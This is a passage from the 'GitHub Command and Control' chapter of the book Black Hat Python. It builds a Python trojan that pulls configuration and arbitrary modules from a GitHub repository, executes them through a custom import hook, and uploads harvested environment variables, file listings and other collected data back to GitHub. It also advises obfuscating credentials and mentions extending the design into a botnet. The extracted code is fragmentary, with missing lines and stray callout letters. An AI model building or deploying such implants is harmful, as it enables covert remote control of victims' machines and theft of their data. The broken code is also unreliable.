Github Command and Control: Black Hat Python © 2015 Justin Seitz
Github Command and Control: Black Hat Python © 2015 Justin Seitz
G i t H ub C o m m a n d
and Control
$ mkdir trojan
$ cd trojan
$ git init
$ mkdir modules
$ mkdir config
$ mkdir data
$ touch modules/.gitignore
$ touch config/.gitignore
$ touch data/.gitignore
$ git add .
$ git commit -m "Adding repo structure for trojan."
$ git remote add origin https://github.com/<yourusername>/chapter7.git
$ git push origin master
Here, we’ve created the initial structure for our repo. The config direc-
tory holds configuration files that will be uniquely identified for each tro-
jan. As you deploy trojans, you want each one to perform different tasks and
each trojan will check out its unique configuration file. The modules direc-
tory contains any modular code that you want the trojan to pick up and
then execute. We will implement a special import hack to allow our trojan
to import libraries directly from our GitHub repo. This remote load capa-
bility will also allow you to stash third-party libraries in GitHub so you don’t
have to continually recompile your trojan every time you want to add new
functionality or dependencies. The data directory is where the trojan will
check in any collected data, keystrokes, screenshots, and so forth. Now let’s
create some simple modules and an example configuration file.
import os
def run(**args):
return str(files)
This little snippet of code simply exposes a run function that lists all
of the files in the current directory and returns that list as a string. Each
module that you develop should expose a run function that takes a variable
number of arguments. This enables you to load each module the same way
and leaves enough extensibility so that you can customize the configuration
files to pass arguments to the module if you desire.
Now let’s create another module called environment.py.
import os
def run(**args):
print "[*] In environment module."
return str(os.environ)
This module simply retrieves any environment variables that are set on
the remote machine on which the trojan is executing. Now let’s push this
code to our GitHub repo so that it is useable by our trojan. From the com-
mand line, enter the following code from your main repository directory:
$ git add .
$ git commit -m "Adding new modules"
$ git push origin master
Username: ********
Password: ********
You should then see your code getting pushed to your GitHub repo; feel
free to log in to your account and double-check! This is exactly how you can
continue to develop code in the future. I will leave the integration of more
complex modules to you as a homework assignment. Should you have a hun-
dred deployed trojans, you can push new modules to your GitHub repo and
QA them by enabling your new module in a configuration file for your local
version of the trojan. This way, you can test on a VM or host hardware that
you control before allowing one of your remote trojans to pick up the code
and use it.
[
{
"module" : "dirlister"
},
{
"module" : "environment"
}
]
This is just a simple list of modules that we want the remote trojan to
run. Later you’ll see how we read in this JSON document and then iterate
over each option to get those modules loaded. As you brainstorm module
ideas, you may find that it’s useful to include additional configuration
options such as execution duration, number of times to run the selected
module, or arguments to be passed to the module. Drop into a command
line and issue the following command from your main repo directory.
$ git add .
$ git commit -m "Adding simple config."
$ git push origin master
Username: ********
Password: ********
import json
import base64
import sys
import time
import imp
import random
import threading
import Queue
import os
u trojan_id = "abc"
This is just some simple setup code with the necessary imports, which
should keep our overall trojan size relatively small when compiled. I say
relatively because most compiled Python binaries using py2exe2 are around
7MB. The only thing to note is the trojan_id variable u that uniquely iden-
tifies this trojan. If you were to explode this technique out to a full botnet,
you’d want the capability to generate trojans, set their ID, automatically
create a configuration file that’s pushed to GitHub, and then compile the
trojan into an executable. We won’t build a botnet today, though; I’ll let
your imagination do the work.
Now let’s put the relevant GitHub code in place.
def connect_to_github():
gh = login(username="yourusername",password="yourpassword")
repo = gh.repository("yourusername","chapter7")
branch = repo.branch("master")
return gh,repo,branch
gh,repo,branch = connect_to_github()
tree = branch.commit.commit.tree.recurse()
if filepath in filename.path:
print "[*] Found file %s" % filepath
blob = repo.blob(filename._json_data['sha'])
return blob.content
return None
def get_trojan_config():
global configured
config_json = get_file_contents(trojan_config)
config = json.loads(base64.b64decode(config_json))
configured = True
return config
def store_module_result(data):
gh,repo,branch = connect_to_github()
remote_path = "data/%s/%d.data" % (trojan_id,random.randint(1000,100000))
repo.create_file(remote_path,"Commit message",base64.b64encode(data))
return
These four functions represent the core interaction between the trojan
and GitHub. The connect_to_github function simply authenticates the user
to the repository, and retrieves the current repo and branch objects for use
by other functions. Keep in mind that in a real-world scenario, you want to
obfuscate this authentication procedure as best as you can. You might also
want to think about what each trojan can access in your repository based
on access controls so that if your trojan is caught, someone can’t come
along and delete all of your retrieved data. The get_file_contents function
is responsible for grabbing files from the remote repo and then reading
the contents in locally. This is used both for reading configuration options
as well as reading module source code. The get_trojan_config function is
responsible for retrieving the remote configuration document from the
repo so that your trojan knows which modules to run. And the final func-
tion store_module_result is used to push any data that you’ve collected on the
target machine. Now let’s create an import hack to import remote files from
our GitHub repo.
class GitImporter(object):
def __init__(self):
self.current_module_code = ""
def find_module(self,fullname,path=None):
if configured:
print "[*] Attempting to retrieve %s" % fullname
u new_library = get_file_contents("modules/%s" % fullname)
return None
def load_module(self,name):
w module = imp.new_module(name)
x exec self.current_module_code in module.__dict__
y sys.modules[name] = module
return module
Every time the interpreter attempts to load a module that isn’t available,
our GitImporter class is used. The find_module function is called first in an
attempt to locate the module. We pass this call to our remote file loader u
and if we can locate the file in our repo, we base64-decode the code and
store it in our class v. By returning self, we indicate to the Python inter-
preter that we found the module and it can then call our load_module func-
tion to actually load it. We use the native imp module to first create a new
blank module object w and then we shovel the code we retrieved from
GitHub into it x. The last step is to insert our newly created module into
the sys.modules list y so that it’s picked up by any future import calls. Now
let’s put the finishing touches on the trojan and take it for a spin.
3. An awesome explanation of this process written by Karol Kuczmarski can be found here:
http://xion.org.pl/2012/05/06/hacking-python-imports/.
task_queue.put(1)
u result = sys.modules[module].run()
task_queue.get()
return
while True:
if task_queue.empty():
x config = get_trojan_config()
time.sleep(random.randint(1000,10000))
WARNING If you have sensitive information in files or environment variables, remember that
without a private repository, that information is going to go up to GitHub for the
whole world to see. Don’t say I didn’t warn you—and of course you can use some
encryption techniques from Chapter 9.